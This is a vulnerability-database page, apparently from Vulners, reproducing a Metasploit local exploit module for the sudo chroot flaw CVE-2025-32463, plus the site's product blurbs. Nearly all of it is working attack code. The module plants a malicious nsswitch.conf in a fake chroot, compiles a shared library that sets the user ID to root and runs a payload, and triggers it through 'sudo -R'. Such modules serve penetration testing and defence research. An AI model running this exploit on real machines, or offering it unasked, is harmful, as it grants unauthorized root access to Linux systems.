Lucene search
+L

Sudo Chroot 1.9.17 Privilege Escalation

🗓️ 04 Sep 2025 18:56:21Reported by msutovsky-r7, Stratascale, Rich MirchType 
metasploit
 metasploit
🔗 www.rapid7.com👁 669 Views

Sudo before 1.19.17p1 can resolve chroot paths to load arbitrary shared objects, enabling privilege escalation.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Compile
  include Msf::Post::Linux::Packages
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sudo Chroot 1.9.17 Privilege Escalation',
        'Description' => %q{
          Sudo before version 1.19.17p1 allows user to use `chroot` option, when
          executing command. The option is intended to run a command with
          user-selected root directory (if sudoers file allow it). Change in version
          1.9.14 allows resolving paths via `chroot` using user-specified root
          directory when sudoers is still evaluating.
          This allows the attacker to trick Sudo into loading arbitrary shared object,
          thus resulting in a privilege escalation.
        },
        'License' => MSF_LICENSE,

        'Author' => [
          'msutovsky-r7', # module dev
          'Stratascale', # poc dev
          'Rich Mirch' # security research
        ],
        'Platform' => [ 'linux' ],

        'Arch' => [ ARCH_CMD ],

        'SessionTypes' => [ 'shell', 'meterpreter' ],

        'Targets' => [[ 'Auto', {} ]],

        'Privileged' => true,

        'References' => [
          [ 'EDB', '52352' ],
          [ 'URL', 'https://www.helpnetsecurity.com/2025/07/01/sudo-local-privilege-escalation-vulnerabilities-fixed-cve-2025-32462-cve-2025-32463/'],
          [ 'CVE', '2025-32463']
        ],
        'DisclosureDate' => '2025-06-30',

        'DefaultTarget' => 0,

        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    # force exploit is used to bypass the check command results
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
    ]
  end

  # borrowed from exploits/linux/local/sudo_baron_samedit.rb
  def get_version
    versions = {}
    output = cmd_exec('sudo --version')
    if output
      version = output.split("\n").first.split(' ').last
      versions[:sudo] = version if version =~ /^\d/
    end
    versions[:sudo].gsub(/p/, '.')
  end

  def check
    sudo_version = installed_package_version('sudo') || get_version

    return CheckCode::Unknown('Could not identify the version of sudo.') if sudo_version.blank?

    return CheckCode::Safe('/etc/nsswitch.conf not found') if !file?('/etc/nsswitch.conf')

    return CheckCode::Appears("Running version #{sudo_version}") if Rex::Version.new(sudo_version).between?(Rex::Version.new('1.9.14'), Rex::Version.new('1.9.17'))

    CheckCode::Safe("Sudo #{sudo_version} is not vulnerable")
  end

  def exploit
    # Check if we're already root
    if !datastore['ForceExploit'] && is_root?
      fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
    end

    # needs to compile in real-time to adjust payload execution path
    fail_with Failure::NotFound, 'Module needs to compile payload on target machine' unless live_compile?

    payload_file = rand_text_alphanumeric(5..10)

    existing_shell = cmd_exec('echo $0 || echo ${SHELL}')

    return Failure::NotFound, 'Could not find shell' unless file?(existing_shell)

    upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!#{existing_shell}\n#{payload.encoded}")

    register_files_for_cleanup("#{datastore['WritableDir']}/#{payload_file}")

    temp_dir = "#{datastore['WritableDir']}/#{rand_text_alphanumeric(5..10)}"

    base_dir = rand_text_alphanumeric(5..10)

    lib_filename = rand_text_alphanumeric(5..10)

    mkdir(temp_dir)

    cd(temp_dir)

    mkdir(base_dir.to_s)

    mkdir("#{base_dir}/etc")

    mkdir('libnss_')

    return Failure::PayloadFailed, 'Failed to create malicious nsswitch.conf file' unless write_file("#{base_dir}/etc/nsswitch.conf", "passwd: /#{lib_filename}\n")

    return Failure::PayloadFailed, 'Failed to copy /etc/group' unless copy_file('/etc/group', "#{base_dir}/etc/group")

    exploit_code = %<
    #include <unistd.h>

    __attribute__((constructor))
    void exploit(void) {
      setreuid(0,0);
      execve("#{datastore['WritableDir']}/#{payload_file}",NULL,NULL);

    }>

    upload_and_compile("#{temp_dir}/libnss_/#{lib_filename}.so.2", exploit_code, "-shared -fPIC -Wl,-init,#{base_dir}")

    cmd_exec("sudo -R #{base_dir} #{base_dir}")

    timeout = 30
    print_status 'Launching exploit...'
    output = cmd_exec 'command', nil, timeout
    output.each_line { |line| vprint_status line.chomp }
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jul 2026 19:06Current
5.6Medium risk
Vulners AI Score5.6
669